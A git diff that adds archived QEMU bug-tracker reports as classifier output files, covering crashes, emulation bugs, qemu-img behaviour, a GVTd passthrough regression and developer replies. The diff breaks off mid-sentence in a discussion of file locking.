1.7.0: + +qemu-system-mips64el: g364: invalid read at [0000000000102000] +qemu-system-mips64el: hw/scsi/scsi-bus.c:1578: scsi_req_data: Assertion `req->cmd.mode != SCSI_XFER_NONE' failed. +./nt4mips.sh: line 3: 26409 Aborted (core dumped) ./qemu-system-mips64el --machine magnum -m 64 -net nic -net user -hda nt4.dsk -cdrom NTWKS40D.ISO -global ds1225y.filename=nvram.bin -global ds1225y.size=16384 + + +We're about to release 2.0, so it would be more interesting to know whether it still happens in latest qemu.git. + +And since this seems to depend on .iso and nvram.bin files that we don't have available for reproducing, some tracing on your part might help narrow down whether this is caused by a bug in MIPS-specific or generic SCSI code and what exactly it's been trying to do at the point of assertion. Running it in gdb to get a backtrace on SIGABRT would be a start. --enable-trace-backend= and -trace would be further options to investigate. + +Indeed the crash doesn't happen in current git anymore. Setup still doesn't copy anything off the CD (hangs on the first file) but at least the crash is fixed and formatting the harddisk works now. + +I'll investigate the other issue and maybe open up a new bug for that. + +This bug here can be closed. Thank you! + diff --git a/results/classifier/deepseek-1/output/```/1429313 b/results/classifier/deepseek-1/output/```/1429313 new file mode 100644 index 00000000..2234a063 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1429313 @@ -0,0 +1,16 @@ + +qemu-user doesn't block target signals on entry to signal hanlder. + +Upon entry to a target signal handler the function process_pending_signals in linux-user/signal.c block the appropriate host signals, but signals already received and queued by Qemu are not blocked. If multiple signals arrive in quick succession this results incorrect recursion in the target signal handler. + +The attached test case my be run as: + +$ (sleep 2 ; echo) | qemu-i386 ./a.out +.................. Recursion in signal handler! +qemu: uncaught target signal 6 (Aborted) - core dumped + + + +The patches to block signals on entry to the signal handler have now been applied to master. + + diff --git a/results/classifier/deepseek-1/output/```/1503031 b/results/classifier/deepseek-1/output/```/1503031 new file mode 100644 index 00000000..a7a53011 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1503031 @@ -0,0 +1,22 @@ + +32-to-64-bit call gate unsupported in IA32e mode + +In particular, the lcall implementation doesn't support the 64-bit TSS. + +helper_lcall_protected (target-i386/seg_helper.c:1884) calls get_ss_esp_from_tss() on a call gate to a lower privilege level, which tries to extract a 32-bit ESP and 16-bit SS from the TSS. In IA32e mode (64-bit or compatibility mode), this instead grabs the lower 32-bits of the target RSP, and 16 of the upper bits as the SS. Additionally, several of the subsequent checks are incorrect (even if the correct stack pointer were extracted). + +This isn't a problem for interrupts since the interrupts are given their own implementation entirely, that uses get_rsp_from_tss() rather than get_ss_esp_from_tss(). + +I believe the missing logic is from the branch starting "ELSE (* current TSS is 64-bit *)" in the CALL pseudocode in the Intel manual (page 3-124 of the PDF I have). + +Reproduced at master (c0b520dfb8890294a9f8879f4759172900585995), and also as of a qemu built a year ago. + +I also suspect that qemu will incorrectly allow calls through 32-bit call gates in compatibility mode (rather than raising a GP fault --- see Intel manuals volume 3A 5-21). And I doubt 64-to-64-bit call gates work either. I haven't actually tested either of those scenarios, though, this is just from reading the code. + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +Looking at the commit log it looks like Andrew fixed this in commit 0aca060526d3ff9632aaed in 2018 ? + + +That looks like the corresponding fix, indeed. Let's close this ticket. + diff --git a/results/classifier/deepseek-1/output/```/1524546 b/results/classifier/deepseek-1/output/```/1524546 new file mode 100644 index 00000000..b5df94a9 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1524546 @@ -0,0 +1,51 @@ + +qemu-img rebase error message mentions wrong file name + +While doing 'qemu-img rebase' for linking to a different backing file, if the old backing file does not exist, the command fails. During this failure, the error message shown is misleading. +e.g. qemu-img rebase -b <backing_file> <filename> throws error saying "Could not open <filename>" +Ideally it should "Could not open <old_backing_file>" + +snippet - +[root@oxy-dev ~]# qemu-img info /opt/stack/data/nova/instances/94864a64-ebf8-45e6-a777-615921216a0a/disk +image: /opt/stack/data/nova/instances/94864a64-ebf8-45e6-a777-615921216a0a/disk +file format: qcow2 +virtual size: 20G (21474836480 bytes) +disk size: 174M +cluster_size: 65536 +backing file: /tmp/3559241a79b79ae663ec6e3d9b75d469967b383b +Format specific information: + compat: 1.1 + lazy refcounts: false +[root@oxy-dev ~]# mv /tmp/3559241a79b79ae663ec6e3d9b75d469967b383b /tmp/3559241a79b79ae663ec6e3d9b75d469967b383a +[root@oxy-dev ~]# file !$ +file /tmp/3559241a79b79ae663ec6e3d9b75d469967b383a +/tmp/3559241a79b79ae663ec6e3d9b75d469967b383a: x86 boot sector; partition 1: ID=0x83, active, starthead 32, startsector 2048, 409600 sectors; partition 2: ID=0x8e, starthead 159, startsector 411648, 16365568 sectors, code offset 0xc0 +[root@oxy-dev ~]# file /tmp/3559241a79b79ae663ec6e3d9b75d469967b383b +/tmp/3559241a79b79ae663ec6e3d9b75d469967b383b: cannot open (No such file or directory) +[root@oxy-dev ~]# qemu-img rebase -b /tmp/3559241a79b79ae663ec6e3d9b75d469967b383a /opt/stack/data/nova/instances/94864a64-ebf8-45e6-a777-615921216a0a/disk +qemu-img: Could not open '/opt/stack/data/nova/instances/94864a64-ebf8-45e6-a777-615921216a0a/disk': Could not open file: No such file or directory +[root@oxy-dev ~]# +qemu-img version 1.5.3 +OS: RHEL7 - 3.10.0-229 +libvirtd (libvirt) 1.2.8 + +I'm pretty sure this is working as intended. +If you observe the code, qemu-img first opens filename. When qemu opens a file, it needs full access to it's chain of backing files - Hence, if the old backing file does not exist, opening filename fails. + +(Not an active qemu dev, just passing through) + +The full story is that in 2015, qemu probably did not note that it failed to open the overlay (<filename>) because it failed to open the backing file. It does that, now, though: + +$ qemu-img rebase -b new.qcow2 top.qcow2 +qemu-img: Could not open 'top.qcow2': Could not open backing file: Could not open 'base.qcow2': No such file or directory + +So that should be a fix. + +Max + +What to do if the old file has been moved? + +Say the backing file was /path/to/os.qcow2 and it was moved to /new/path/to/os.qcow2. + +How can we tell snapshot.qcow2 to update the backing file from /path/to/os.qcow2 to /new/path/to/os.qcow2? + diff --git a/results/classifier/deepseek-1/output/```/1645287 b/results/classifier/deepseek-1/output/```/1645287 new file mode 100644 index 00000000..fc396d54 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1645287 @@ -0,0 +1,26 @@ + +Option "split" does not available for kernel_irqchip flag in qemu-system-x86_64 + +On releases prior to Yakkety, the "split" option is not available for kernel_irqchip flag in qemu-system-x86_64. + +Yakkety: +kernel_irqchip=on|off|split controls accelerated irqchip support (default=off) + + +Xenial: +kernel_irqchip=on|off controls accelerated irqchip support + +Trusty: +kernel_irqchip=on|off controls accelerated irqchip support + +Precise: +kernel_irqchip=on|off controls accelerated irqchip support + +It will be great to have this option, as we will need this for some kvm-unit-tests for SRU + +Hey Sam, just trying to see if this is still a valid issue? Any idea? + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + +The only release we have <= Yakkety is Trusty which is ESM and I don't believe we can SRU this change into QEMU anyways. The test gets skipped so it doesn't appear to be reporting a failure. Closing this bug now. + diff --git a/results/classifier/deepseek-1/output/```/1860914 b/results/classifier/deepseek-1/output/```/1860914 new file mode 100644 index 00000000..fc3d0a92 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1860914 @@ -0,0 +1,55 @@ + +QEMU prepends pathnames to command lines of Multiboot kernels and modules, contrary to the specification + +When QEMU is launched with the -kernel option to boot a Multiboot image, the command line passed in the -append option is additionally prefixed the pathname of the kernel image and a space. Likewise, module command lines passed in the -initrd option are passed with the module pathname and a space prepended. At the very least the former is contary to what is prescribed in the Multiboot specification, version 0.6.96[0], which says in §3.3: + +> General-purpose boot loaders should allow user a complete control on command line independently of other factors like image name. + +With respect to module command lines, the spec is less clear, but GNU GRUB2 (the de facto reference implementation) does not prepend pathnames to command lines of either. I haven't tested GRUB legacy, but I assume it exhibits the same behaviour. It would be strange if passing pathnames was in fact intended; bootloader pathnames are useless to the loaded kernel, which may potentially have a completely different view of the file system from the bootloader. + +Also, given that a kernel pathname may contain spaces, skipping it in the command line cannot be done reliably, while loading a Multiboot module from a pathname that contains spaces is outright impossible. + +Found in 4.2.0, but latest git master apparently behaves the same. + +[0]: https://www.gnu.org/software/grub/manual/multiboot/multiboot.html + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/425 + + diff --git a/results/classifier/deepseek-1/output/```/1879175 b/results/classifier/deepseek-1/output/```/1879175 new file mode 100644 index 00000000..568fb076 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1879175 @@ -0,0 +1,151 @@ + +GVTd not working (black screen) after upgrade to qemu-5.0.0 + +Hi QEMU team, + + +=== Problem Summary === + +I have recently upgraded from QEMU-3.1.0 to to QEMU-5.0.0 on Debian Unstable. Unfortunately GVTd (legacy passthrough of the integrated intel gpu) stopped working correctly. The guest can still see and loads the driver for the GPU, but the screen stays black. + +The following is the version used: + +$ /usr/bin/qemu-system-x86_64 --version +QEMU emulator version 5.0.0 (Debian 1:5.0-5) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + + + +=== Investigation/Triage done so far === + +Running QEMU with trace flags enabled shows the following behavior change for the same VM (left: 3.1.0, right: 5.0.0): + +vfio_realize (0000:00:02.0) group 1 vfio_realize (0000:00:02.0) group 1 +vfio_listener_region_add_ram region_add [ram] 0x0 - 0xbffff [0x7f5b41e00000] | vfio_listener_region_add_ram region_add [ram] 0x0 - 0xbffff [0x7f2bb1e00000] +vfio_listener_region_add_ram region_add [ram] 0xc0000 - 0xdffff [0x7f5d1d400000] | vfio_listener_region_add_ram region_add [ram] 0xc0000 - 0xdffff [0x7f2d7c800000] +vfio_listener_region_add_ram region_add [ram] 0xe0000 - 0xfffff [0x7f5d1d620000] | vfio_listener_region_add_ram region_add [ram] 0xe0000 - 0xfffff [0x7f2d84220000] +vfio_listener_region_add_ram region_add [ram] 0x100000 - 0xbfffffff [0x7f5b41f00000] | vfio_listener_region_add_ram region_add [ram] 0x100000 - 0xbfffffff [0x7f2bb1f00000] +vfio_listener_region_add_skip SKIPPING region_add 0xfec00000 - 0xfec00fff vfio_listener_region_add_skip SKIPPING region_add 0xfec00000 - 0xfec00fff +vfio_listener_region_add_skip SKIPPING region_add 0xfee00000 - 0xfeefffff vfio_listener_region_add_skip SKIPPING region_add 0xfee00000 - 0xfeefffff +vfio_listener_region_add_ram region_add [ram] 0xfffc0000 - 0xffffffff [0x7f5d1d600000] | vfio_listener_region_add_ram region_add [ram] 0xfffc0000 - 0xffffffff [0x7f2d84200000] +vfio_listener_region_add_ram region_add [ram] 0x100000000 - 0x201ffffff [0x7f5c01e00000] | vfio_listener_region_add_ram region_add [ram] 0x100000000 - 0x201ffffff [0x7f2c71e00000] +vfio_mdev (0000:00:02.0) is_mdev 0 vfio_mdev (0000:00:02.0) is_mdev 0 +vfio_get_device Device 0000:00:02.0 flags: 3, regions: 12, irqs: 5 vfio_get_device Device 0000:00:02.0 flags: 3, regions: 12, irqs: 5 +vfio_region_setup Device 0000:00:02.0, region 0 "0000:00:02.0 BAR 0", flags: 0x7, offset: 0x0, s vfio_region_setup Device 0000:00:02.0, region 0 "0000:00:02.0 BAR 0", flags: 0x7, offset: 0x0, s +vfio_region_setup Device 0000:00:02.0, region 1 "0000:00:02.0 BAR 1", flags: 0x0, offset: 0x1000 vfio_region_setup Device 0000:00:02.0, region 1 "0000:00:02.0 BAR 1", flags: 0x0, offset: 0x1000 +vfio_region_setup Device 0000:00:02.0, region 2 "0000:00:02.0 BAR 2", flags: 0x7, offset: 0x2000 vfio_region_setup Device 0000:00:02.0, region 2 "0000:00:02.0 BAR 2", flags: 0x7, offset: 0x2000 +vfio_region_setup Device 0000:00:02.0, region 3 "0000:00:02.0 BAR 3", flags: 0x0, offset: 0x3000 vfio_region_setup Device 0000:00:02.0, region 3 "0000:00:02.0 BAR 3", flags: 0x0, offset: 0x3000 +vfio_region_setup Device 0000:00:02.0, region 4 "0000:00:02.0 BAR 4", flags: 0x3, offset: 0x4000 vfio_region_setup Device 0000:00:02.0, region 4 "0000:00:02.0 BAR 4", flags: 0x3, offset: 0x4000 +vfio_region_setup Device 0000:00:02.0, region 5 "0000:00:02.0 BAR 5", flags: 0x0, offset: 0x5000 vfio_region_setup Device 0000:00:02.0, region 5 "0000:00:02.0 BAR 5", flags: 0x0, offset: 0x5000 +vfio_populate_device_config Device 0000:00:02.0 config: vfio_populate_device_config Device 0000:00:02.0 config: + 0x1000, offset: 0x70000000000, flags: 0x3 0x1000, offset: 0x70000000000, flags: 0x3 +vfio_region_mmap Region 0000:00:02.0 BAR 0 mmaps[0] [0x0 - 0xffffff] vfio_region_mmap Region 0000:00:02.0 BAR 0 mmaps[0] [0x0 - 0xffffff] +vfio_region_mmap Region 0000:00:02.0 BAR 2 mmaps[0] [0x0 - 0xfffffff] vfio_region_mmap Region 0000:00:02.0 BAR 2 mmaps[0] [0x0 - 0xfffffff] +vfio_check_pm_reset 0000:00:02.0 Supports PM reset vfio_check_pm_reset 0000:00:02.0 Supports PM reset +vfio_msi_setup 0000:00:02.0 PCI MSI CAP @0xac vfio_msi_setup 0000:00:02.0 PCI MSI CAP @0xac +vfio_check_pcie_flr 0000:00:02.0 Supports FLR via PCIe cap vfio_check_pcie_flr 0000:00:02.0 Supports FLR via PCIe cap +vfio_get_dev_region 0000:00:02.0 index 9, 80008086/18 < +vfio_get_dev_region 0000:00:02.0 index 9, 80008086/18 < +vfio_get_dev_region 0000:00:02.0 index 10, 80008086/28 < +vfio_get_dev_region 0000:00:02.0 index 9, 80008086/18 < +vfio_get_dev_region 0000:00:02.0 index 10, 80008086/28 < +vfio_get_dev_region 0000:00:02.0 index 11, 80008086/38 < +vfio_listener_region_del region_del 0x0 - 0xbffff < +vfio_listener_region_add_ram region_add [ram] 0x0 - 0x9ffff [0x7f5b41e00000] < +vfio_listener_region_add_skip SKIPPING region_add 0xa0000 - 0xbffff < +vfio_pci_igd_lpc_bridge_enabled 0000:00:02.0 < +vfio_pci_igd_host_bridge_enabled 0000:00:02.0 < +vfio_pci_igd_opregion_enabled 0000:00:02.0 < +vfio_pci_igd_bdsm_enabled 0000:00:02.0 40MB < +vfio_intx_enable_kvm (0000:00:02.0) KVM INTx accel enabled vfio_intx_enable_kvm (0000:00:02.0) KVM INTx accel enabled +vfio_intx_enable (0000:00:02.0) vfio_intx_enable (0000:00:02.0) + 0x100, offset: 0x70000000000, flags: 0x3 0x100, offset: 0x70000000000, flags: 0x3 +vfio_populate_device_get_irq_info_failure VFIO_DEVICE_GET_IRQ_INFO failure: Invalid argument vfio_populate_device_get_irq_info_failure VFIO_DEVICE_GET_IRQ_INFO failure: Invalid argument +vfio_pci_reset (0000:00:02.0) vfio_pci_reset (0000:00:02.0) +vfio_intx_disable_kvm (0000:00:02.0) KVM INTx accel disabled vfio_intx_disable_kvm (0000:00:02.0) KVM INTx accel disabled +vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 0 mmaps enabled: 1 vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 0 mmaps enabled: 1 +vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 2 mmaps enabled: 1 vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 2 mmaps enabled: 1 +vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 4 mmaps enabled: 1 vfio_region_mmaps_set_enabled Region 0000:00:02.0 BAR 4 mmaps enabled: 1 +vfio_intx_disable (0000:00:02.0) vfio_intx_disable (0000:00:02.0) +vfio_pci_write_config (0000:00:02.0, @0x4, 0x0, len=0x2) vfio_pci_write_config (0000:00:02.0, @0x4, 0x0, len=0x2) +vfio_listener_region_del region_del 0x0 - 0x9ffff < +vfio_listener_region_del_skip SKIPPING region_del 0xa0000 - 0xbffff < +vfio_listener_region_add_ram region_add [ram] 0x0 - 0xbffff [0x7f5b41e00000] < +vfio_pci_reset_flr 0000:00:02.0 FLR/VFIO_DEVICE_RESET vfio_pci_reset_flr 0000:00:02.0 FLR/VFIO_DEVICE_RESET +vfio_intx_enable (0000:00:02.0) vfio_intx_enable (0000:00:02.0) +vfio_listener_region_del region_del 0x0 - 0xbffff vfio_listener_region_del region_del 0x0 - 0xbffff +vfio_listener_region_del region_del 0xc0000 - 0xdffff vfio_listener_region_del region_del 0xc0000 - 0xdffff +vfio_listener_region_del region_del 0xe0000 - 0xfffff vfio_listener_region_del region_del 0xe0000 - 0xfffff +vfio_listener_region_del region_del 0x100000 - 0xbfffffff vfio_listener_region_del region_del 0x100000 - 0xbfffffff +vfio_listener_region_add_ram region_add [ram] 0x0 - 0xcffff [0x7f5b41e00000] | vfio_listener_region_add_ram region_add [ram] 0x0 - 0xcffff [0x7f2bb1e00000] + +We can see here, the following key lines are not printed in 5.0.0: + +vfio_pci_igd_lpc_bridge_enabled 0000:00:02.0 < +vfio_pci_igd_host_bridge_enabled 0000:00:02.0 < +vfio_pci_igd_opregion_enabled 0000:00:02.0 < +vfio_pci_igd_bdsm_enabled 0000:00:02.0 40MB < + +Looking through the code and bisecting the problem (I can provide more detail if helpful), shows the following ifdef statement lines introduce the problem: + +https://github.com/qemu/qemu/blob/master/hw/vfio/pci-quirks.c#L1253 + + 1246 void vfio_bar_quirk_setup(VFIOPCIDevice *vdev, int nr) + 1247 { + 1248 vfio_probe_ati_bar4_quirk(vdev, nr); + 1249 vfio_probe_ati_bar2_quirk(vdev, nr); + 1250 vfio_probe_nvidia_bar5_quirk(vdev, nr); + 1251 vfio_probe_nvidia_bar0_quirk(vdev, nr); + 1252 vfio_probe_rtl8168_bar2_quirk(vdev, nr); + 1253 #ifdef CONFIG_VFIO_IGD + 1254 vfio_probe_igd_bar4_quirk(vdev, nr); + 1255 #endif + 1256 } + +This was added by the following commits: + +https://github.com/qemu/qemu/commit/29d62771c81d8fd244a67c14a1d968c268d3fb19#diff-38093e21794c7a4987feb71e498dbdc6 + +Reading through the commit message, I suspect the something may be happening with the Kconfig switches mentioned there. + + + +=== Validation/Workaround === + +I have rebuilt the package with the following two changes: + +root@debian:/home/test/src# diff debian_*/qemu-5.0/hw/vfio/pci-quirks.c +0a1 +> #define CONFIG_VFIO_IGD y +root@debian:/home/test/src# diff debian_*/qemu-5.0/hw/vfio/Kconfig +42c42 +< default y if PC_PCI +--- +> default y +root@debian:/home/test/src# + +GVTd started working fine again (Screen shows output again). + +I have tried with either change alone: + +- with only the ifdef in pci-quirks.c compilation fails with linker errors +- with only the Kconfig it compiles, but GVTd still does not work (black screen) + + + +Please take a look and thank you very much for a fantastic product! + +TheCatFelix + +I've also posted the bug and fix here: + +https://bugs.launchpad.net/qemu/+bug/1882784 + +I may be wrong but Legacy IGD assignment doesn't use GVT-g or GVT-d, which is why I missed this ticket when reporting my own. + +No problem, thanks for getting the issue resolved! + +As a note, i've been going by this guide here from Intel. They seem to describe as that GVT-d refers to the concept of attaching a "whole" GPU to a single VM through PCI PT and it has two modes of operation, "Legacy" and "UPT". + +https://github.com/intel/gvt-linux/wiki/GVTd_Setup_Guide#561-create-gvt-d-kvm-vm + diff --git a/results/classifier/deepseek-1/output/```/961757 b/results/classifier/deepseek-1/output/```/961757 new file mode 100644 index 00000000..5be94896 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/961757 @@ -0,0 +1,27 @@ + +wrong error for blockdev-snapshot-sync + +From Laszlo Ersek: + +>> + proto_drv = bdrv_find_protocol(snapshot_file); +>> if (!proto_drv) { +>> - qerror_report(QERR_INVALID_BLOCK_FORMAT, format); +>> - ret = -1; +>> - goto out; +>> + error_set(errp, QERR_INVALID_BLOCK_FORMAT, format); +>> + return; +>> } +> +> I don't understand the logic here (based on the error message). We +> specified "format" for the case when a completely new snapshot file has +> to be created. If the file exists already, then bdrv_find_protocol() +> tries to find the driver for it. If that fails, then we must report an +> error indeed, but instead of referring to "format", we'd have to report +> the "scheme" from the beginning of "snapshot_file". + +Which version of QEMU was this? Is this still a problem with the latest version of QEMU? + +I can't find anything in the blockdev-snapshot-sync path that has this code in it still. Think it's a non-issue in 2017. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/`mistranslation`/1832250 b/results/classifier/deepseek-1/output/`mistranslation`/1832250 new file mode 100644 index 00000000..f5e3603d --- /dev/null +++ b/results/classifier/deepseek-1/output/`mistranslation`/1832250 @@ -0,0 +1,63 @@ + +arm32v6/golang:1.10-alpine is broken for qemu 2.8 on MacOS cross-compilation + +FROM arm32v6/golang:1.10-alpine + +docker build -t openhorizon/ibm.gps_arm:2.0.7 -f ./Dockerfile.arm . +Sending build context to Docker daemon 110.6kB +Step 1/12 : FROM arm32v6/golang:1.10-alpine +1.10-alpine: Pulling from arm32v6/golang +05276f4299f2: Pull complete +5657e63df536: Pull complete +febca98d0249: Pull complete +5053a7aa5dea: Pull complete +d048463a3701: Pull complete +b628c679d668: Pull complete +Digest: sha256:94c5fd97b17d0e9fe89e011446bedda4784cb0af7a60494989e2a21c0dcba92f +Status: Downloaded newer image for arm32v6/golang:1.10-alpine + ---> 3110964e8c9a +Step 2/12 : RUN apk --no-cache update && apk add git + ---> Running in 14ffb11506bb +fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/main/armhf/APKINDEX.tar.gz +fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/community/armhf/APKINDEX.tar.gz +v3.9.4-24-g4e2ff29bbe [http://dl-cdn.alpinelinux.org/alpine/v3.9/main] +v3.9.4-25-g65097c9cdc [http://dl-cdn.alpinelinux.org/alpine/v3.9/community] +OK: 9547 distinct packages available +fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/main/armhf/APKINDEX.tar.gz +fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/community/armhf/APKINDEX.tar.gz +(1/7) Installing nghttp2-libs (1.35.1-r0) +(2/7) Installing libssh2 (1.8.2-r0) +(3/7) Installing libcurl (7.64.0-r2) +(4/7) Installing libgcc (8.3.0-r0) +(5/7) Installing expat (2.2.6-r0) +(6/7) Installing pcre2 (10.32-r1) +(7/7) Installing git (2.20.1-r0) +Executing busybox-1.29.3-r10.trigger +OK: 18 MiB in 22 packages +Removing intermediate container 14ffb11506bb + ---> 6890ea7ed09b +Step 3/12 : RUN mkdir -p /build/bin + ---> Running in 44e52d78d7b4 +Removing intermediate container 44e52d78d7b4 + ---> 0763afda41d1 +Step 4/12 : COPY src /build/src + ---> 05bab9a72a34 +Step 5/12 : WORKDIR /build + ---> Running in 5a663caff249 +Removing intermediate container 5a663caff249 + ---> 5a6ca53c00de +Step 6/12 : RUN env GOPATH=/build GOOPTIONS_ARM='CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=6' go get github.com/kellydunn/golang-geo + ---> Running in 05b09ee0c206 +Removing intermediate container 05b09ee0c206 + ---> e68c6e222e51 +Step 7/12 : RUN env GOPATH=/build GOOPTIONS_ARM='CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=6' go build -o /build/bin/armv6_gps /build/src/main.go + ---> Running in ea6d2707e35f +qemu-arm: /build/qemu-rwi8RH/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed. +qemu-arm: /build/qemu-rwi8RH/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed. +The command '/bin/sh -c env GOPATH=/build GOOPTIONS_ARM='CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=6' go build -o /build/bin/armv6_gps /build/src/main.go' returned a non-zero code: 139 +make: *** [build] Error 139 + +Please can you try with a more recent version of QEMU? 2.8 is pretty old, and there are definitely some bugs involving Alpine Linux glibc and also go that we've fixed in later versions. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/access./1865048 b/results/classifier/deepseek-1/output/access./1865048 new file mode 100644 index 00000000..8ea895b8 --- /dev/null +++ b/results/classifier/deepseek-1/output/access./1865048 @@ -0,0 +1,117 @@ + +qemu-img --force-share does not disable file locking + +The new option "--force-share" for qemu-img does not disable file locking. + +I tried it with version qemu-img version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.21~cloud0) and I traced the source code of the current git trunk. + +Sample to demonstrate: + +# strace qemu-img info --force-share testfile.qcow2 2>&1 | grep F_RDLCK +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(11, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 + +I traced the passing of the --force-share option through the source code (I used commit 6c599282f8 as of Mon Feb 17 13:32:25 2020 +0000) + +qemu-img.c:img_info() + force_share = true; +qemu-img.c:collect_image_info_list(force_share) +qemu-img.c:img_open(force_share) +qemu-img.c:img_open_file(force_share) + qdict_put_bool(options, BDRV_OPT_FORCE_SHARE, true); +block/block-backend.c:blk_new_open(options) +block.c:bdrv_open(options) +block.c:bdrv_open_inheritoptions() +block.c:bdrv_open_common(options) + bs->force_share = qemu_opt_get_bool(opts, BDRV_OPT_FORCE_SHARE, false); +block.c:bdrv_open_driver(bs) +include/block/block_int.h:int (*bdrv_file_open)(BlockDriverState *bs, QDict *options, int flags, +block/file-posix.c:.bdrv_file_open = raw_open, +block/file-posix.c:raw_open_common(bs) + locking = qapi_enum_parse(&OnOffAuto_lookup, + qemu_opt_get(opts, "locking"), + ON_OFF_AUTO_AUTO, &local_err); + ignoring bs->force_share + +At the end, bs->force_share is ignored in determining the locking value. + +Hi, + +That’s intentional. The man page says this: + + --force-share (-U) + If specified, "qemu-img" will open the image in shared mode, + allowing other QEMU processes to open it in write mode. For + example, this can be used to get the image information (with + 'info' subcommand) when the image is used by a running guest. + +It says nothing about not using file locks. All it will do is cause qemu-img to signal to other processes that it’s OK for them to use the image in any way, or if there already is another process having opened the image for any access, qemu-img will not complain. + +For example, open a qemu-io process on some image: + +$ qemu-io foo.qcow2 + +And in another shell, invoke qemu-img: + +$ qemu-img info foo.qcow2 +qemu-img: Could not open 'foo.qcow2': Failed to get shared "write" lock +Is another process using the image [foo.qcow2]? + +$ qemu-img info --force-share foo.qcow2 +image: foo.qcow2 +file format: qcow2 +[...] + + +force-share is evaluated in bdrv_child_perm in block.c. The file locks qemu sets are an extension of the internal “permission” system we use for block nodes: For example, when some guest device wants write access to an image, it has to take the WRITE permission. That will be disallowed if there is some other user of the image that does not allow taking the WRITE permission (we say: it “unshares” the WRITE permission). force-share enforces sharing all permissions, but it does not disable the permission system. + +The file locks are used to transmit that internal mechanism of taking/sharing permissions across different processes. Unshared permissions are reflected by locks between offset 200 and 299. Taken permissions are reflected by locks between offset 100 and 199. As you can see, qemu-img with --force-share does not unshare any permissions (it does not take any locks after offset 200). The only lock it takes is offset 100, which corresponds to CONSISTENT_READ. That permission means “I want to read from the image and get back something sane”. So if any other process uses the image in such a way that this is impossible (i.e., it has to unshare CONSISTENT_READ), qemu-img info will complain, regardless of --force-share. + + +File locks can only be completely disabled through file-posix’s @locking option (locking=false), e.g. like so: + +$ qemu-img info --image-opts file.filename=foo.qcow2,file.locking=off + +But that is strongly discouraged, and I have yet to see a case where this would be the right thing to do. + +Max + +Hi Maz, + +thanks for the information! + +The situation we're in is where we are suspecting the file locking on a shared network file system to be broken, so we were looking for ways to avoid any locking. I had tried some variations on your image-opts style invocation, but did not find any variant where the automatic file format detection would be preserved. For instance, with --image-opts driver=file,filename=foo.qcow2,locking=off it would think the file is raw. But the one you give seems to do what I want to experiment with, so thanks again! + +-Olaf. + +Hi Olaf, + +Every “node” in the block graph corresponds to some driver. A driver can be a protocol or a format driver (or a filter driver, but that isn’t important here). In your example, there is only a single node, for a protocol driver (namely “file”). You need a format driver node on top to interpret the image format. + +If you use file.driver=file,file.filename=foo.qcow2,file.locking=off, then that specifies the options driver, filename, and locking for a node under another node’s “file” link. So this has to create two nodes. The node on top (for which no options are specified) should default to being a format node whose format is probed. + +Of course you can also give options to the top (format) node, like e.g. the driver. (In fact, you should probably give the driver, because format probing is considered 